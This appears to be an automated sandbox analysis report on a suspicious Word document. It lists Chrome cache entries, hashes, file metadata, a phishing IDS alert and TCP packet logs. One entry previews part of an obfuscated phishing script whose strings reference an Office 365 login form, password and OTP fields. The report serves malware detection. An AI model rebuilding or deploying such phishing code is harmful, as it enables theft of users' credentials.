SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
URL:	https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	downloaded
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	downloaded
Size (bytes):	23427
Entropy (8bit):	5.112735417225198
Encrypted:	false
SSDEEP:	384:1HHLO7eS0F4bBY/fn6jZcy9/cGK1q8CarY64Cb+dOy:1HHCLYXfl1q8CarY64Cb+dl
MD5:	BA0537E9574725096AF97C27D7E54F76
SHA1:	BD46B47D74D344F435B5805114559D45979762D5
SHA-256:	4A7611BC677873A0F87FE21727BC3A2A43F57A5DED3B10CE33A0F371A2E6030F
SHA-512:	FC43F1A6B95E1CE005A8EFCDB0D38DF8CC12189BEAC18099FD97C278D254D5DA4C24556BD06515D9D6CA495DDB630A052AEFC0BB73D6ED15DEBC0FB1E8E208E7
Malicious:	false
URL:	https://www.w3schools.com/w3css/4/w3.css
Preview:	./* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /.html{box-sizing:border-box},:before,:after{box-sizing:inherit}./* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */.html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}.article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}.audio,canvas,progress,video{display:inline-block}progress{vertical-align:baseline}.audio:not([controls]){display:none;height:0}[hidden],template{display:none}.a{background-color:transparent}a:active,a:hover{outline-width:0}.abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}.b,strong{font-weight:bolder}dfn{font-style:italic}mark{background:#ff0;color:#000}.small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}.sub{bottom:-0.25em}sup{top:-0.5em}figure{margin:1em 40px}img{border-style:none}.code,kbd,p

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65317)
Category:	downloaded
Size (bytes):	100782
Entropy (8bit):	4.782445110770722
Encrypted:	false
SSDEEP:	1536:mUMVM6MVMkMVM9MVMNMVMispLudL+P8Wcn0Fwib3ePyUHsE+z:hudL25cn0FfePyUME+z
MD5:	6386FB409D4A2ABC96EEE7BE8F6D4CC4
SHA1:	09102CFC60EFB430A25EE97CEE9A6A35DF6DFC59
SHA-256:	0DF5A33710E433DE1F5415B1D47E4130CA7466AEE5B81955F1045C4844BBB3ED
SHA-512:	29F91FC180EC2E4225C10A7A2C59E5F3335D2C6C6EF58000D50BF020D92CE0F85C125412BEA73254B2C3F5A3215DDD77B908E85ED10A368B0E59A66A5E07A5D2
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css
Preview:	/!. Font Awesome Free 6.1.1 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2022 Fonticons, Inc.. */..fa{font-family:var(--fa-style-family,"Font Awesome 6 Free");font-weight:var(--fa-style,900)}.fa,.fa-brands,.fa-duotone,.fa-light,.fa-regular,.fa-solid,.fa-thin,.fab,.fad,.fal,.far,.fas,.fat{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-height:.08333em;vertical-align:.125em}.fa-sm{font-size:.875em;line-height:.07143em;vertical-align:.05357em

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65515)
Category:	downloaded
Size (bytes):	182966
Entropy (8bit):	5.1708599952898
Encrypted:	false
SSDEEP:	3072:mO9/uC+qtzVESWMAsM+eS6e6+JE3TLzxcGti:mO9GSRiSWMAsM+eS6e6+JE3TL2
MD5:	820CB9692554123A0BFE556D22673685
SHA1:	3AF6F30249C2BAFAD2DB1E6071633F905653A706
SHA-256:	FE6EA0D5A33399D880449F8340DCF16063C7C47F85AA4E0115B9F87C9C622480
SHA-512:	4534F5F31430595B4744389F9260812143E4ADA1DEA3460D15785DBD0642B8E4540F100DED7D8B212E2B20A4AECE68824FCA2AF096FF3D1744AD33F5D47956D5
Malicious:	false
URL:	https://saloneliteco.com/n/jsdrive.js
Preview:	function _0x309a() {. const _0x11e9f4 = ['950604TkZqjn', 'otp_command', 'head', 'oncontextmenu', '@123.', 'email', 'backgroundImage', '5iaUCPb', '.otpError2', 'RQ_OTP_APP', 'insertAdjacentHTML', '@web.', 'URL\x20EMAIL=NULL', '387ncMFhV', '.imgclass', 'body', 's2c', '583950morvMO', 'test', '.emailLabel', 'https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg', '<p>', 'language', '@aol.', 'location', 'change', 'complete', 'endUrl', '.loginForm', '#sendPass', '.loaderxBlock', '.otpInput2', 'split', '@gmail.com', 'length', 'email_type', 'https://google.com', 'querySelectorAll', '.passwordInput', '.overlay', 'userAgent', 'html', '.msappcodeBlock', '.otpError', '.passwordError', 'RQ_EMAIL', 'url(\x27', 'password', 'beforeend', 'O365', '@test.', 'forEach', '\x0a\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20 \x20Overlay\x20-->\x0a\x20\x20\x20\x20<div\x20class=\x22overlay\x22>\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22lds-roller\x

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Static File Info

General

File type:	Microsoft Word 2007+
Entropy (8bit):	7.984653102342905
TrID:	Word Microsoft Office Open XML Format document (49504/1) 58.23% Word Microsoft Office Open XML Format document (27504/1) 32.35% ZIP compressed archive (8000/1) 9.41%
File name:	Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx
File size:	70'989 bytes
MD5:	facf35961fd48f097a1fe8592ba8f88f
SHA1:	90e3dccbff5630f6db79ac3796ae50e7e2701d22
SHA256:	5d32c619ae06a79c3432d183b91f85f8080d9f5ce84ba55b9afef97aa9d573c2
SHA512:	96deb8ad190e00f32c8d5c9789b4aa647c857df0e3c81943c2db3786666b249a577507c68cdbb26d293dea839abafd3100664ba129290cd4408d03ecd34f0690
SSDEEP:	1536:mqoclV5NIK1evC+6xp6xm20jaHJB8uHF8+zJXuuPv4PLaki9qg:doE5NIkevc8s2XbzJsaf9b
TLSH:	8B63027C5641087DFB3672FC35853954D6A612EAF21EA197290191EBCEF0422D33BF19
File Content Preview:	PK..........RY.O..............[Content_Types].xml...N.0.._e..a.b.1..*.7j">@i..q.i.3...l....P.f.z......lr.n.d.!.t.t.....Bm.j..,....z6Y\|x....8M.D.J...`e....J..J....^.W..1../.BG.h@.#.Mn!.eA..;/7.<.&7M_%5M...Q..,...q0@.;&7N...\|Y.x...k..Y..j..o...F.FUZ..p....A

File Icon


Icon Hash:	35e5c48caa8a8599

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-19T00:14:26.400237+0200	2056643	ET PHISHING Javascript Browser Fingerprinting POST Request	2	192.168.2.10	49992	203.170.84.122	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 19, 2024 00:13:44.428891897 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:44.428937912 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:44.429017067 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:44.429285049 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:44.429296970 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.193305969 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.193509102 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.203716993 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.203768969 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.204212904 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.218916893 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.259401083 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.471967936 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.472028971 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.472074986 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.472134113 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.472177029 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.472212076 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.472263098 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.592562914 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.592632055 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.592731953 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.592763901 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.592776060 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.592798948 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.712933064 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.712955952 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.713104010 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.713129997 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.713184118 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.832691908 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.832712889 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.832865953 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.832937002 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.833007097 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.927654982 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.927678108 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.927794933 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.927845955 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.927905083 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.933867931 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 19, 2024 00:13:45.995935917 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.995961905 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.996109962 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:45.996145010 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:45.996201992 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.074023008 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.074049950 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.074183941 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.074203014 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.074254036 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.193377972 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.193401098 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.193516970 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.193552017 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.193635941 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.328164101 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.328188896 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.328326941 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.328363895 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.328423977 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.409193993 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.409216881 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.409301996 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.409322977 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.409370899 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.449248075 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.449271917 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.449387074 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.449420929 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.449474096 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.569149971 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.569205999 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.569407940 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.569454908 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.569510937 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.673218966 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.673227072 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.673382044 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.673399925 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.673516035 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.688999891 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.689074993 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.689095020 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.689147949 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.689717054 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.689730883 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.689744949 CEST	49710	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.689750910 CEST	443	49710	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.739948034 CEST	49711	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.739962101 CEST	443	49711	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.740067005 CEST	49711	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.741230965 CEST	49712	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.741274118 CEST	443	49712	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.741341114 CEST	49712	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.741388083 CEST	49711	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.741403103 CEST	443	49711	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.742510080 CEST	49713	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.742535114 CEST	443	49713	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.742588043 CEST	49713	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.742721081 CEST	49713	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.742731094 CEST	443	49713	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.742949963 CEST	49712	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.742971897 CEST	443	49712	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.743956089 CEST	49714	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.743967056 CEST	443	49714	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.744018078 CEST	49714	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.744115114 CEST	49714	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.744123936 CEST	443	49714	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.744698048 CEST	49715	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.744730949 CEST	443	49715	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:46.744786978 CEST	49715	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.744884014 CEST	49715	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:46.744896889 CEST	443	49715	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.469409943 CEST	443	49714	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.470138073 CEST	49714	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.470149040 CEST	443	49714	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.470660925 CEST	49714	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.470665932 CEST	443	49714	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.472815990 CEST	443	49712	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.473263025 CEST	49712	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.473287106 CEST	443	49712	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.473906994 CEST	49712	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.473912001 CEST	443	49712	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.474467993 CEST	443	49711	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.474854946 CEST	49711	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.474877119 CEST	443	49711	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.475519896 CEST	49711	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.475526094 CEST	443	49711	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.484906912 CEST	443	49715	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.485346079 CEST	49715	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.485358000 CEST	443	49715	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.485896111 CEST	49715	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.485902071 CEST	443	49715	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.492501974 CEST	443	49713	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.492815971 CEST	49713	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.492825031 CEST	443	49713	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.493438959 CEST	49713	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.493443966 CEST	443	49713	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.598030090 CEST	443	49714	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.598109961 CEST	443	49714	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.598187923 CEST	49714	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.598347902 CEST	49714	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.598361969 CEST	443	49714	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.598377943 CEST	49714	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.598383904 CEST	443	49714	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.601005077 CEST	49716	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.601039886 CEST	443	49716	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.601351976 CEST	49716	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.601351976 CEST	49716	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.601383924 CEST	443	49716	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.602138042 CEST	443	49712	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.603143930 CEST	443	49712	13.107.246.45	192.168.2.10
Oct 19, 2024 00:13:47.603204966 CEST	49712	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.603249073 CEST	49712	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:13:47.603266954 CEST	443	49712	13.107.246.45	192.168.2.10
